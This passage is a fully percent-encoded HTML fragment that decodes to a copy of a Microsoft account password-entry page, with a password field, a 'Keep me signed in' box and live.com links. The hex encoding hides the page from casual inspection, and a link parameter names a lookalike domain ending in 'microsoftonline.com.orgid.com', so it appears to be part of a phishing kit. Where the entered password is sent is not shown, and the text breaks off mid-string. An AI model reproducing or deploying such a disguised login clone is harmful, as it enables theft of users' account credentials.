73%77%6F%72%64%56%69%65%77%5F%6F%6E%52%65%73%65%74%50%61%73%73%77%6F%72%64%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%42%61%63%6B%42%75%74%74%6F%6E%53%74%61%74%65%3A%20%76%69%65%77%5F%6F%6E%53%65%74%49%64%65%6E%74%69%74%79%42%61%63%6B%42%75%74%74%6F%6E%53%74%61%74%65%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%50%65%6E%64%69%6E%67%52%65%71%75%65%73%74%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%53%65%74%50%65%6E%64%69%6E%67%52%65%71%75%65%73%74%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%69%31%33%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%69%73%4B%6D%73%69%43%68%65%63%6B%65%64%28%29%20%3F%20%31%20%3A%20%30%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%30%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%63%6C%61%73%73%3D%22%6C%6F%67%69%6E%5F%6E%61%6D%65%5F%78%79%7A%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6E%61%6D%65%3D%22%6C%6F%67%69%6E%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%75%6E%73%61%66%65%5F%75%73%65%72%6E%61%6D%65%22%20%76%61%6C%75%65%3D%22%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%6C%6F%67%69%6E%66%6D%74%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%6D%6F%76%65%4F%66%66%53%63%72%65%65%6E%2C%20%76%61%6C%75%65%3A%20%75%6E%73%61%66%65%5F%64%69%73%70%6C%61%79%4E%61%6D%65%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%6D%6F%76%65%4F%66%66%53%63%72%65%65%6E%22%20%74%61%62%69%6E%64%65%78%3D%22%2D%31%22%20%61%72%69%61%2D%68%69%64%64%65%6E%3D%22%74%72%75%65%22%20%74%79%70%65%3D%22%74%65%78%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%74%79%70%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%76%72%2E%61%6F%20%3F%20%32%30%20%3A%20%31%31%22%20%76%61%6C%75%65%3D%22%31%31%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%4C%6F%67%69%6E%4F%70%74%69%6F%6E%73%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%69%73%4B%6D%73%69%43%68%65%63%6B%65%64%28%29%20%3F%20%31%20%3A%20%33%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%33%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%6C%72%74%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%63%61%6C%6C%4D%65%74%61%64%61%74%61%2E%49%73%4C%6F%6E%67%52%75%6E%6E%69%6E%67%54%72%61%6E%73%61%63%74%69%6F%6E%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%6C%72%74%50%61%72%74%69%74%69%6F%6E%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%63%61%6C%6C%4D%65%74%61%64%61%74%61%2E%4C%6F%6E%67%52%75%6E%6E%69%6E%67%54%72%61%6E%73%61%63%74%69%6F%6E%50%61%72%74%69%74%69%6F%6E%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%68%69%73%52%65%67%69%6F%6E%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%63%61%6C%6C%4D%65%74%61%64%61%74%61%2E%48%69%73%52%65%67%69%6F%6E%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%68%69%73%53%63%61%6C%65%55%6E%69%74%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%63%61%6C%6C%4D%65%74%61%64%61%74%61%2E%48%69%73%53%63%61%6C%65%55%6E%69%74%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%6C%6F%67%69%6E%48%65%61%64%65%72%22%20%63%6C%61%73%73%3D%22%72%6F%77%20%74%65%78%74%2D%74%69%74%6C%65%22%20%72%6F%6C%65%3D%22%68%65%61%64%69%6E%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%2D%6C%65%76%65%6C%3D%22%31%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%3A%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%45%6E%74%65%72%50%61%73%73%77%6F%72%64%5F%54%69%74%6C%65%27%5D%22%3E%45%6E%74%65%72%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%73%73%77%6F%72%64%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%75%6E%73%61%66%65%5F%70%61%67%65%44%65%73%63%72%69%70%74%69%6F%6E%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%72%6F%77%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%20%63%6F%6C%2D%6D%64%2D%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%72%6F%6C%65%3D%22%61%6C%65%72%74%22%20%63%6C%61%73%73%3D%22%61%72%69%61%2D%6C%69%76%65%3D%22%20%61%73%73%65%72%74%69%76%65%22%3D%22%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%65%72%72%6F%72%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%61%6C%65%72%74%20%61%6C%65%72%74%2D%65%72%72%6F%72%20%63%6F%6C%2D%6D%64%2D%32%34%20%61%6C%65%72%74%5F%6D%73%67%5F%79%78%71%20%61%6C%65%72%74%5F%65%6D%61%69%6C%5F%73%65%63%74%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%22%20%69%64%3D%22%75%73%65%72%6E%61%6D%65%45%72%72%6F%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%68%74%6D%6C%57%69%74%68%42%69%6E%64%69%6E%67%73%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%65%72%72%6F%72%2C%20%20%20%20%20%20%20%20%20%20%20%20%63%68%69%6C%64%42%69%6E%64%69%6E%67%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%69%64%41%5F%50%57%44%5F%53%69%67%6E%55%70%27%3A%20%7B%20%68%72%65%66%3A%20%73%76%72%2E%75%72%6C%53%69%67%6E%55%70%2C%20%63%6C%69%63%6B%3A%20%73%69%67%6E%75%70%5F%6F%6E%43%6C%69%63%6B%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%6F%74%68%65%72%49%64%70%4C%6F%67%69%6E%27%3A%20%7B%20%68%72%65%66%3A%20%73%76%72%2E%75%72%6C%47%6F%54%6F%41%41%44%45%72%72%6F%72%2C%20%63%6C%69%63%6B%3A%20%6F%74%68%65%72%49%64%70%4C%6F%67%69%6E%5F%6F%6E%43%6C%69%63%6B%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%57%65%20%63%6F%75%6C%64%6E%27%74%20%66%69%6E%64%20%61%6E%20%61%63%63%6F%75%6E%74%20%77%69%74%68%20%74%68%61%74%20%75%73%65%72%6E%61%6D%65%2E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%54%72%79%20%61%6E%6F%74%68%65%72%2C%20%6F%72%20%3C%61%20%69%64%3D%22%69%64%41%5F%50%57%44%5F%53%69%67%6E%55%70%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%6C%6F%67%69%6E%2E%6C%69%76%65%2E%63%6F%6D%2F%6F%61%75%74%68%32%30%5F%61%75%74%68%6F%72%69%7A%65%2E%73%72%66%3F%72%65%73%70%6F%6E%73%65%5F%74%79%70%65%3D%63%6F%64%65%26%61%6D%70%3B%63%6C%69%65%6E%74%5F%69%64%3D%35%31%34%38%33%33%34%32%2D%30%38%35%63%2D%34%64%38%36%2D%62%66%38%38%2D%63%66%35%30%63%37%32%35%32%30%37%38%26%61%6D%70%3B%73%63%6F%70%65%3D%6F%70%65%6E%69%64%2B%70%72%6F%66%69%6C%65%2B%65%6D%61%69%6C%2B%6F%66%66%6C%69%6E%65%5F%61%63%63%65%73%73%26%61%6D%70%3B%72%65%73%70%6F%6E%73%65%5F%6D%6F%64%65%3D%66%6F%72%6D%5F%70%6F%73%74%26%61%6D%70%3B%72%65%64%69%72%65%63%74%5F%75%72%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%6C%6F%67%69%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%25%32%66%63%6F%6D%6D%6F%6E%25%32%66%66%65%64%65%72%61%74%69%6F%6E%25%32%66%6F%61%75%74%68%32%26%61%6D%70%3B%73%74%61%74%65%3D%72%51%49%49%41%65%4E%69%73%4E%4C%4A%4B%43%6B%70%4B%4C%62%53%31%79%5F%49%4C%79%70%4A%7A%4E%48%4C%7A%55%77%75%79%69%5F%4F%54%79%76%4A%7A%38%76%4A%7A%45%76%56%53%38%37%50%31%63%73%76%53%73%39%4D%41%62%47%4B%68%4C%67%45%35%4E%2D%48%73%52%6E%61%7A%33%47%5A%33%4E%62%30%6F%30%61%41%6A%32%4D%57%49%32%64%38%54%6D%59%5A%57%4F%55%71%52%6D%58%43%78%75%6C%66%59%47%52%38%77%63%68%34%69%30%6E%51%76%79%6A%64%4D%79%57%38%32%43%30%31%4A%62%55%6F%73%53%51%7A%50%2D%38%43%69%38%41%72%46%68%34%44%5A%69%73%4F%44%69%34%42%42%67%6B%47%42%59%59%66%4C%49%79%4C%57%49%47%32%52%69%6B%30%58%31%36%5F%64%62%58%54%72%71%41%55%75%59%51%65%5A%34%5A%54%72%50%70%52%56%64%34%57%2D%62%37%6D%6D%56%34%70%70%76%35%68%6C%57%36%2D%6C%71%61%6C%75%52%59%57%48%72%6C%35%58%74%70%70%42%6B%58%68%51%55%55%68%6D%51%45%6C%5A%57%56%47%41%61%47%42%74%71%5A%57%68%68%50%59%68%43%61%77%4D%5A%31%69%59%5F%6A%41%78%74%6A%42%7A%6E%43%41%6B%5F%45%57%6C%34%69%52%67%61%47%6C%72%6F%47%52%72%6F%47%4A%67%6F%47%6C%6C%5A%47%52%6C%62%46%52%46%41%41%31%26%61%6D%70%3B%65%73%74%73%66%65%64%3D%31%26%61%6D%70%3B%75%61%69%64%3D%30%36%35%36%65%66%31%66%33%66%33%31%34%34%39%63%39%33%38%36%38%32%66%38%37%63%31%30%30%65%30%38%26%61%6D%70%3B%73%69%67%6E%75%70%3D%31%26%61%6D%70%3B%6C%77%3D%31%26%61%6D%70%3B%66%6C%3D%65%61%73%69%32%26%61%6D%70%3B%66%63%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%70%6F%72%74%61%6C%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%2E%6F%72%67%69%64%2E%63%6F%6D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%67%65%74%20%61%20%6E%65%77%20%4D%69%63%72%6F%73%6F%66%74%20%61%63%63%6F%75%6E%74%20%3C%2F%61%3E%2E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%70%6C%61%63%65%68%6F%6C%64%65%72%43%6F%6E%74%61%69%6E%65%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%70%6C%61%63%65%68%6F%6C%64%65%72%2D%74%65%78%74%62%6F%78%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%75%62%6C%69%63%4D%65%74%68%6F%64%73%3A%20%70%61%73%73%77%6F%72%64%54%65%78%74%62%6F%78%2E%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%62%6F%78%4D%65%74%68%6F%64%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%69%6E%74%54%65%78%74%3A%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%50%77%64%54%42%5F%4C%61%62%65%6C%27%5D%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%70%64%61%74%65%46%6F%63%75%73%3A%20%70%61%73%73%77%6F%72%64%54%65%78%74%62%6F%78%2E%74%65%78%74%62%6F%78%5F%6F%6E%55%70%64%61%74%65%46%6F%63%75%73%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%77%69%74%68%50%72%6F%70%65%72%74%69%65%73%3A%20%7B%20%27%24%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%27%3A%20%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%74%65%6D%70%6C%61%74%65%3A%20%7B%20%6E%6F%64%65%73%3A%20%24%63%6F%6D%70%6F%6E%65%6E%74%54%65%6D%70%6C%61%74%65%4E%6F%64%65%73%2C%20%64%61%74%61%3A%20%24%70%61%72%65%6E%74%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%70%61%73%73%77%64%22%20%69%64%3D%22%69%30%31%31%38%22%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%2D%64%65%73%63%72%69%62%65%64%62%79%3D%22%70%61%73%73%77%6F%72%64%45%72%72%6F%72%20%6C%6F%67%69%6E%48%65%61%64%65%72%20%70%61%73%73%77%6F%72%64%44%65%73%63%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%2D%72%65%71%75%69%72%65%64%3D%22%74%72%75%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%65%78%74%49%6E%70%75%74%3A%20%70%61%73%73%77%6F%72%64%54%65%78%74%62%6F%78%2E%76%61%6C%75%65%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%61%73%46%6F%63%75%73%45%78%3A%20%70%61%73%73%77%6F%72%64%54%65%78%74%62%6F%78%2E%66%6F%63%75%73%65%64%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%6C%61%63%65%68%6F%6C%64%65%72%3A%20%24%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%4C%61%62%65%6C%3A%20%75%6E%73%61%66%65%5F%70%61%73%73%77%6F%72%64%41%72%69%61%4C%61%62%65%6C%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%73%73%3A%20%7B%20%27%68%61%73%2D%65%72%72%6F%72%27%3A%20%70%61%73%73%77%6F%72%64%54%65%78%74%62%6F%78%2E%65%72%72%6F%72%20%7D%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%50%61%73%73%77%6F%72%64%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%2D%6C%61%62%65%6C%3D%22%45%6E%74%65%72%20%74%68%65%20%70%61%73%73%77%6F%72%64%20%66%6F%72%20%22%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%6E%6F%74%3A%20%75%73%65%50%6C%61%63%65%68%6F%6C%64%65%72%41%74%74%72%69%62%75%74%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%41%62%20%26%26%20%73%68%6F%77%48%69%70%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%69%6E%76%65%72%74%4F%72%64%65%72%3A%20%73%76%72%2E%62%64%2C%20%63%73%73%3A%20%7B%20%27%70%6F%73%69%74%69%6F%6E%2D%62%75%74%74%6F%6E%73%27%3A%20%21%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%42%6F%69%6C%65%72%50%6C%61%74%65%54%65%78%74%20%7D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%70%6F%73%69%74%69%6F%6E%2D%62%75%74%74%6F%6E%73%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%62%47%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%61%43%20%21%3D%3D%20%66%61%6C%73%65%20%26%26%20%21%73%76%72%2E%62%47%20%26%26%20%21%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%4B%65%65%70%4D%65%53%69%67%6E%65%64%49%6E%44%69%73%61%62%6C%65%64%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%69%64%54%64%5F%50%57%44%5F%4B%4D%53%49%5F%43%62%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%20%63%68%65%63%6B%62%6F%78%20%74%65%78%74%2D%62%6C%6F%63%6B%2D%62%6F%64%79%20%6E%6F%2D%6D%61%72%67%69%6E%2D%74%6F%70%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%69%73%69%62%6C%65%3A%20%21%73%76%72%2E%46%20%26%61%6D%70%3B%26%61%6D%70%3B%20%21%73%68%6F%77%48%69%70%22%3E%20%3C%6C%61%62%65%6C%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%64%3D%22%69%64%4C%62%6C%5F%50%57%44%5F%4B%4D%53%49%5F%43%62%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%4B%4D%53%49%22%20%69%64%3D%22%69%64%43%68%6B%42%78%5F%50%57%44%5F%4B%4D%53%49%30%50%77%64%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%68%65%63%6B%65%64%3A%20%69%73%4B%6D%73%69%43%68%65%63%6B%65%64%2C%20%61%72%69%61%4C%61%62%65%6C%3A%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%4B%65%65%70%4D%65%53%69%67%6E%65%64%49%6E%43%42%5F%54%65%78%74%27%5D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%2D%6C%61%62%65%6C%3D%22%4B%65%65%70%20%6D%65%20%73%69%67%6E%65%64%20%69%6E%22%20%74%79%70%65%3D%22%63%68%65%63%6B%62%6F%78%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%70%61%6E%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%3A%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%4B%65%65%70%4D%65%53%69%67%6E%65%64%49%6E%43%42%5F%54%65%78%74%27%5D%22%3E%4B%65%65%70%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6D%65%20%73%69%67%6E%65%64%20%69%6E%3C%2F%73%70%61%6E%3E%20%3C%2F%6C%61%62%65%6C%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%72%6F%77%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%6C%2D%6D%64%2D%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%74%65%78%74%2D%31%33%20%61%63%74%69%6F%6E%2D%6C%69%6E%6B%73%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%3E%20%3C%61%20%69%64%3D%22%69%64%41%5F%50%57%44%5F%46%6F%72%67%6F%74%50%61%73%73%77%6F%72%64%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%6F%6C%65%3D%22%6C%69%6E%6B%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%61%63%63%6F%75%6E%74%2E%6C%69%76%65%2E%63%6F%6D%2F%52%65%73%65%74%50%61%73%73%77%6F%72%64%2E%61%73%70%78%3F%77%72%65%70%6C%79%3D%68%74%74%70%73%3A%2F%2F%6C%6F%67%69%6E%2E%6C%69%76%65%2E%63%6F%6D%2F%6F%61%75%74%68%32%30%5F%61%75%74%68%6F%72%69%7A%65%2E%73%72%66%25%33%66%72%65%73%70%6F%6E%73%65%5F%74%79%70%65%25%33%64%63%6F%64%65%25%32%36%63%6C%69%65%6E%74%5F%69%64%25%33%64%35%31%34%38%33%33%34%32%2D%30%38%35%63%2D%34%64%38%36%2D%62%66%38%38%2D%63%66%35%30%63%37%32%35%32%30%37%38%25%32%36%73%63%6F%70%65%25%33%64%6F%70%65%6E%69%64%25%32%62%70%72%6F%66%69%6C%65%25%32%62%65%6D%61%69%6C%25%32%62%6F%66%66%6C%69%6E%65%5F%61%63%63%65%73%73%25%32%36%72%65%73%70%6F%6E%73%65%5F%6D%6F%64%65%25%33%64%66%6F%72%6D%5F%70%6F%73%74%25%32%36%72%65%64%69%72%65%63%74%5F%75%72%69%25%33%64%68%74%74%70%73%25%32%35%33%61%25%32%35%32%66%25%32%35%32%66%6C%6F%67%69%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%25%32%35%32%6